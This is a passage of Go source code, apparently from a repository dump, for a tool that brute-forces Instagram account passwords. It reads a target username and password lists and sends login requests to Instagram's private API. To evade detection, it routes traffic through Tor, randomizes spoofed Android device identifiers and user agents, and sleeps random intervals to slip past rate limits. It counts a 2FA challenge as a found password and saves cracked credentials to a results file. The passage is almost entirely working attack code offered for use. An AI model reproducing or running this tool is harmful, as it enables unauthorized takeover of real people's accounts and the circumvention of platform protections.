159 | if res.Success {
160 | select {
161 | case found <- res:
162 | default:
163 | }
164 | return
165 | }
166 | time.Sleep(randomDuration(RATE_LIMIT_MIN, RATE_LIMIT_MAX))
167 | }
168 | }()
169 | }
170 |
171 | go func() {
172 | for _, password := range passwords {
173 | jobs <- password
174 | }
175 | close(jobs)
176 | }()
177 |
178 | go showProgressBar(len(passwords), progress)
179 |
180 | select {
181 | case res := <-found:
182 | fmt.Println("✅ The correct password was found! (2FA/Challenge Required)")
183 | fmt.Printf("Username: %s\n", username)
184 | fmt.Printf("\n✅ Correct password: %s\n", res.Password)
185 | saveResultJSON(res)
186 | case <-waitGroupTimeout(&wg, 60*time.Minute):
187 | fmt.Println("\n❌ Password not found.")
188 | saveResultJSON(LoginResult{
189 | Username: username,
190 | Password: "",
191 | Success: false,
192 | Time: time.Now().Format("2006-01-02 15:04:05"),
193 | Message: "Not found",
194 | })
195 | }
196 | }
197 |
198 | func selectMode() int {
199 | reader := bufio.NewReader(os.Stdin)
200 | fmt.Println("Choose attack mode:")
201 | fmt.Println("[1] AUTO ATTACK (use default passwords)")
202 | fmt.Println("[2] MANUAL ATTACK (use your own password file)")
203 | fmt.Print("Enter your choice (1 or 2): ")
204 | for {
205 | input, _ := reader.ReadString('\n')
206 | input = strings.TrimSpace(input)
207 | if input == "1" || input == "2" {
208 | if input == "1" {
209 | return 1
210 | } else {
211 | return 2
212 | }
213 | }
214 | fmt.Print("Invalid choice. Please enter 1 or 2: ")
215 | }
216 | }
217 |
218 | func loadPasswordsAuto() []string {
219 | return loadPasswordsFromFiles("password.txt", "password.json")
220 | }
221 |
222 |
223 | func loadPasswordsManual() []string {
224 | reader := bufio.NewReader(os.Stdin)
225 | fmt.Print("Enter your password file path: ")
226 | filePath, _ := reader.ReadString('\n')
227 | filePath = strings.TrimSpace(filePath)
228 | return loadPasswordsFromFiles(filePath, "")
229 | }
230 |
231 | func loadPasswordsFromFiles(txtFile string, jsonFile string) []string {
232 | var passwords []string
233 | if txtFile != "" {
234 | file, err := os.Open(txtFile)
235 | if err == nil {
236 | defer file.Close()
237 | scanner := bufio.NewScanner(file)
238 | for scanner.Scan() {
239 | pass := strings.TrimSpace(scanner.Text())
240 | if pass != "" {
241 | passwords = append(passwords, pass)
242 | }
243 | }
244 | } else {
245 | log.Printf("Error opening password file: %v", err)
246 | }
247 | }
248 | if jsonFile != "" {
249 | fileJSON, errj := os.Open(jsonFile)
250 | if errj == nil {
251 | defer fileJSON.Close()
252 | var jsonPasswords []string
253 | decoder := json.NewDecoder(fileJSON)
254 | if err := decoder.Decode(&jsonPasswords); err == nil {
255 | passwords = append(passwords, jsonPasswords...)
256 | }
257 | }
258 | }
259 | return passwords
260 | }
261 |
262 | func getPublicIP(client *http.Client) (string, error) {
263 | resp, err := client.Get("https://api.ipify.org")
264 | if err != nil {
265 | return "", err
266 | }
267 | defer resp.Body.Close()
268 | ip, err := io.ReadAll(resp.Body)
269 | if err != nil {
270 | return "", err
271 | }
272 | return string(ip), nil
273 | }
274 |
275 | func getTorIP() (string, bool) {
276 | socksProxy := "127.0.0.1:9050"
277 | dialer, err := proxy.SOCKS5("tcp", socksProxy, nil, proxy.Direct)
278 | if err != nil {
279 | return "", false
280 | }
281 | transport := &http.Transport{Dial: dialer.Dial}
282 | client := &http.Client{
283 | Transport: transport,
284 | Timeout: 15 * time.Second,
285 | }
286 | ip, err := getPublicIP(client)
287 | if err != nil {
288 | return "", false
289 | }
290 | return ip, true
291 | }
292 |
293 | func setupLogger() {
294 | logFile, err := os.OpenFile("debug.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
295 | if err == nil {
296 | log.SetOutput(logFile)
297 | }
298 | }
299 |
300 | func getUsername() string {
301 | reader := bufio.NewReader(os.Stdin)
302 | fmt.Print("Enter Instagram username: ")
303 | username, _ := reader.ReadString('\n')
304 | return trim(username)
305 | }
306 |
307 | func showProgressBar(total int, progress <-chan int) {
308 | completed := 0
309 | for range progress {
310 | completed++
311 | printProgress(completed, total)
312 | }
313 | }
314 |
315 | func waitGroupTimeout(wg *sync.WaitGroup, timeout time.Duration) <-chan struct{} {
316 | done := make(chan struct{})
317 | go func() {
318 | c := make(chan struct{})
319 | go func() {
320 | wg.Wait()
321 | close(c)
322 | }()
323 | select {
324 | case <-c:
325 | case <-time.After(timeout):
326 | }
327 | close(done)
328 | }()
329 | return done
330 | }
331 |
332 | type deviceInfo struct {
333 | deviceID string
334 | androidID string
335 | phoneID string
336 | adid string
337 | guid string
338 | userAgent string
339 | }
340 |
341 | func randomHex(length int) string {
342 | const hex = "0123456789abcdef"
343 | b := make([]byte, length)
344 | for i := range b {
345 | b[i] = hex[rand.Intn(len(hex))]
346 | }
347 | return string(b)
348 | }
349 |
350 | func randomUUID() string {
351 | return fmt.Sprintf("%s-%s-%s-%s-%s",
352 | randomHex(8), randomHex(4), randomHex(4), randomHex(4), randomHex(12))
353 | }
354 |
355 | func randomDeviceInfo() deviceInfo {
356 | id := randomUUID()
357 | return deviceInfo{
358 | deviceID: id,
359 | androidID: fmt.Sprintf("android-%s", randomHex(16)),
360 | phoneID: randomUUID(),
361 | adid: randomUUID(),
362 | guid: randomUUID(),
363 | userAgent: userAgents[rand.Intn(len(userAgents))],
364 | }
365 | }
366 |
367 | func buildHeaders(dev deviceInfo) map[string]string {
368 | return map[string]string{
369 | "User-Agent": dev.userAgent,
370 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
371 | "Accept": "*/*",
372 | "Accept-Language": "en-US",
373 | "Accept-Encoding": "gzip, deflate, br",
374 | "X-IG-Capabilities": "3brTvw==",
375 | "X-IG-Connection-Type": "WIFI",
376 | "X-IG-App-ID": IG_APP_ID,
377 | "X-IG-Bloks-Version-Id": IG_BLOKS_VERSIONID,
378 | "X-IG-Device-ID": dev.deviceID,
379 | "X-IG-Android-ID": dev.androidID,
380 | "X-IG-Phone-ID": dev.phoneID,
381 | "X-IG-Ad-ID": dev.adid,
382 | "X-FB-HTTP-Engine": "Liger",
383 | "X-FB-Client-IP": "True",
384 | "X-FB-Server-Cluster": "True",
385 | }
386 | }
387 |
388 | type InstagramResponse struct {
389 | Status string `json:"status"`
390 | Message string `json:"message"`
391 | ErrorType string `json:"error_type"`
392 | ErrorTitle string `json:"error_title"`
393 | Challenge struct {
394 | URL string `json:"url"`
395 | } `json:"challenge"`
396 | }
397 |
398 | type LoginResult struct {
399 | Username string `json:"username"`
400 | Password string `json:"password"`
401 | Success bool `json:"success"`
402 | Time string `json:"time"`
403 | Message string `json:"message"`
404 | }
405 |
406 | func tryLogin(username, password string, useTor bool) LoginResult {
407 | loginUrl := API_URL + "accounts/login/"
408 | dev := randomDeviceInfo()
409 | data := url.Values{}
410 | data.Set("username", username)
411 | data.Set("enc_password", fmt.Sprintf("#PWD_INSTAGRAM_BROWSER:0:%d:%s", time.Now().Unix(), password))
412 | data.Set("device_id", dev.deviceID)
413 | data.Set("uuid", dev.guid)
414 | data.Set("adid", dev.adid)
415 | data.Set("phone_id", dev.phoneID)
416 | data.Set("login_attempt_count", fmt.Sprintf("%d", rand.Intn(3)))
417 |
418 | var client *http.Client
419 | if useTor {
420 | dialer, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", nil, proxy.Direct)
421 | if err == nil {
422 | transport := &http.Transport{Dial: dialer.Dial}
423 | client = &http.Client{Transport: transport, Timeout: TIMEOUT}
424 | } else {
425 | client = &http.Client{Timeout: TIMEOUT}
426 | }
427 | } else {
428 | client = &http.Client{Timeout: TIMEOUT}
429 | }
430 |
431 | req, err := http.NewRequest("POST", loginUrl, strings.NewReader(data.Encode()))
432 | if err != nil {
433 | log.Printf("Error creating request: %v\n", err)
434 | fmt.Println("Error creating request:", err)
435 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Request error"}
436 | }
437 |
438 | for k, v := range buildHeaders(dev) {
439 | req.Header.Set(k, v)
440 | }
441 |
442 | resp, err := client.Do(req)
443 | if err != nil {
444 | log.Printf("Error sending request: %v\n", err)
445 | fmt.Println("Error sending request:", err)
446 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "HTTP error"}
447 | }
448 | defer resp.Body.Close()
449 |
450 | var reader io.Reader
451 | if resp.Header.Get("Content-Encoding") == "gzip" {
452 | gzipr, err := gzip.NewReader(resp.Body)
453 | if err != nil {
454 | log.Printf("Error reading gzip response: %v\n", err)
455 | fmt.Println("Error reading gzip response:", err)
456 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Gzip read error"}
457 | }
458 | defer gzipr.Close()
459 | reader = gzipr
460 | } else {
461 | reader = resp.Body
462 | }
463 |
464 | body, err := io.ReadAll(reader)
465 | if err != nil {
466 | log.Printf("Error reading response: %v\n", err)
467 | fmt.Println("Error reading response:", err)
468 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Read error"}
469 | }
470 |
471 | bodyStr := strings.TrimSpace(string(body))
472 | log.Printf("Raw response: %s\n", bodyStr)
473 |
474 | if !strings.HasPrefix(bodyStr, "{") {
475 | log.Printf("Non-JSON response: %s\n", bodyStr)
476 | fmt.Println("Non-JSON response:", bodyStr)
477 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Non-JSON response"}
478 | }
479 |
480 | var response InstagramResponse
481 | if err := json.Unmarshal(body, &response); err != nil {
482 | log.Printf("Error parsing response: %v\n", err)
483 | fmt.Println("Error parsing response:", err)
484 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Parse error"}
485 | }
486 |
487 | success := response.Status == "ok" || strings.Contains(bodyStr, "logged_in_user")
488 |
489 | if success || response.Message == "challenge_required" || response.ErrorType == "challenge_required" {
490 | return LoginResult{Username: username, Password: password, Success: true, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "challenge or success"}
491 | }
492 |
493 | msg := response.Message
494 | if response.ErrorType == "bad_password" {
495 | msg = "invalid password"
496 | }
497 | if response.ErrorType == "invalid_user" {
498 | msg = "invalid username"
499 | }
500 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: msg}
501 | }
502 |
503 | func saveResultJSON(result LoginResult) {
504 | file, err := os.OpenFile("results.json", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
505 | if err != nil {
506 | log.Printf("Error saving result: %v", err)
507 | return
508 | }
509 | defer file.Close()
510 |
511 | enc := json.NewEncoder(file)
512 | err = enc.Encode(result)
513 | if err != nil {
514 | log.Printf("Error encoding result: %v", err)
515 | }
516 | }
517 |
518 | func trim(s string) string {
519 | return strings.TrimSpace(s)
520 | }
521 |
522 | func printProgress(current, total int) {
523 | percent := (current * 100) / total
524 | bar := strings.Repeat("█", percent/2) + strings.Repeat("-", 50-percent/2)
525 | os.Stdout.WriteString(
526 | "\r[" + bar + "] " +
527 | fmt.Sprintf(" %d/%d ", current, total) +
528 | fmt.Sprintf(" %d%%", percent))
529 | if current == total {
530 | os.Stdout.WriteString("\n")
531 | }
532 | }
533 |
534 | func randomDuration(min, max int) time.Duration {
535 | return time.Duration(rand.Intn(max-min+1)+min) * time.Second
536 | }
537 |
--------------------------------------------------------------------------------
/images/snake.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------